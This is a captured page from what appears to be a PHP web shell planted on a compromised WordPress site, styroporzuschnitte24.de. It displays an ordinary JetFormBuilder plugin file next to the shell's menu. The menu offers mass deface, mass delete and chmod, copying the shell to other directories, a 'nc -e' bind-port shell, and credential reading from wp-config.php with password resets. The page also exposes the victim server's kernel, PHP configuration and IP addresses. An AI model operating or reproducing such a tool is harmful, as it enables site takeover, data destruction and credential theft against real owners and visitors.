WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jetformbuilder / includes / actions / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jetformbuilder/includes/actions/manager.php (3.52 KB)
<?php

namespace Jet_Form_Builder\Actions;

// If this file is called directly, abort.

use Jet_Form_Builder\Exceptions\Repository_Exception;
use Jet_Form_Builder\Form_Messages\Action_Messages_Manager;
use JFB_Components\Repository\Repository_Pattern_Trait;

if ( ! defined( 'WPINC' ) ) {
	die;
}

/**
 * Define Manager class
 */
class Manager {

	use Repository_Pattern_Trait;

	private $localized_actions = array();

	public function __construct() {
		add_action( 'init', array( $this, 'register_action_types' ), 99 );
		add_action( 'jet-form-builder/editor-assets/before', array( $this, 'register_assets' ) );
	}

	public function rep_instances(): array {
		return array();
	}

	/**
	 * Register allowed action types
	 *
	 * @return void
	 */
	public function register_action_types() {
		$this->rep_install();

		do_action( 'jet-form-builder/actions/register', $this );
	}

	/**
	 * @param $type
	 *
	 * @return $this
	 */
	public function register_action_type( $type ) {
		$this->rep_install_item_soft( $type );

		return $this;
	}

	/**
	 * @param $type
	 *
	 * @throws Repository_Exception
	 */
	public function rep_before_install_item( $type ) {
		if ( ! $type->dependence() ) {
			$this->_rep_abort_this();
		}
	}


	/**
	 * @param string $type
	 *
	 * @return Types\Base|array
	 */
	public function get_actions( $type = '' ) {
		if ( ! $type ) {
			return $this->rep_get_items();
		}

		try {
			return $this->get_action( $type );
		} catch ( Repository_Exception $exception ) {
			return array();
		}
	}

	/**
	 * @param $type
	 *
	 * @return Types\Base
	 * @throws Repository_Exception
	 */
	public function get_action( $type ): Types\Base {
		return $this->rep_get_item( $type );
	}

	/**
	 * @param $type
	 *
	 * @return Types\Base
	 * @throws Repository_Exception
	 */
	public function get_action_clone( $type ): Types\Base {
		return $this->rep_clone_item( $type );
	}

	public function has_action_type( $type ): bool {
		return $this->rep_isset_item( $type );
	}

	/**
	 * @param Types\Base[] $source
	 *
	 * @return array
	 */
	public function prepare_actions_data( $source ) {
		$prepared_types = array();

		foreach ( $source as $type ) {
			$type_script_name = $type->self_script_name();

			$prepared_types[] = array(
				'id'       => $type->get_id(),
				'name'     => $type->get_name(),
				'disabled' => $type->is_disabled(),
				'self'     => $type_script_name,
				'callback' => false, // should be rewritten from JS
			);
			$action_localize  = $type->action_data();

			$action_localize['__messages']           = Action_Messages_Manager::instance()->get_messages( $type );
			$action_localize['__labels']             = $type->editor_labels();
			$action_localize['__help_messages']      = $type->editor_labels_help();
			$action_localize['__unsupported_events'] = $type->unsupported_events();
			$action_localize['__supported_events']   = $type->supported_events();
			$action_localize['__global_tab']         = $type->option_name;

			if ( ! empty( $action_localize ) && $type_script_name ) {
				$this->localized_actions[ $type->self_script_name() ] = $action_localize;
			}
		}

		return $prepared_types;
	}

	public function register_action_types_assets( $handle ) {
		foreach ( $this->localized_actions as $name => $localized_action ) {
			wp_localize_script(
				$handle,
				$name,
				$localized_action
			);
		}
	}

	public function register_assets() {
		$data = self::prepare_actions_data( $this->rep_get_items() );

		wp_localize_script(
			'jet-fb-components',
			'jetFormActionTypes',
			$data
		);

		$this->register_action_types_assets( 'jet-fb-components' );
	}
}
namawaktuukuranownerpermaksi
..
conditions/ 2026-07-21 14:1413.56 KB 76129f60960:kundendxwrx-r--r
events/ 2026-07-21 14:1418.42 KB 76129f60960:kundendxwrx-r--r
methods/ 2026-07-21 14:149.99 KB 76129f60960:kundendxwrx-r--r
types/ 2026-07-21 14:144.36 KB 76129f60960:kundendxwrx-r--r
action-handler.php 2026-07-21 14:1412.3 KB 76129f60960:kunden-xw-x-----
edt
action-localize.php 2026-07-21 14:14607 B 76129f60960:kunden-xw-x-----
edt
actions-tools.php 2026-07-21 14:142.05 KB 76129f60960:kunden-xw-x-----
edt
events-list.php 2026-07-21 14:141.28 KB 76129f60960:kunden-xw-x-----
edt
events-manager.php 2026-07-21 14:143.61 KB 76129f60960:kunden-xw-x-----
edt
legacy-request-data.php 2026-07-21 14:141.6 KB 76129f60960:kunden-xw-x-----
edt
manager.php 2026-07-21 14:143.52 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jetformbuilder/includes/actions
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK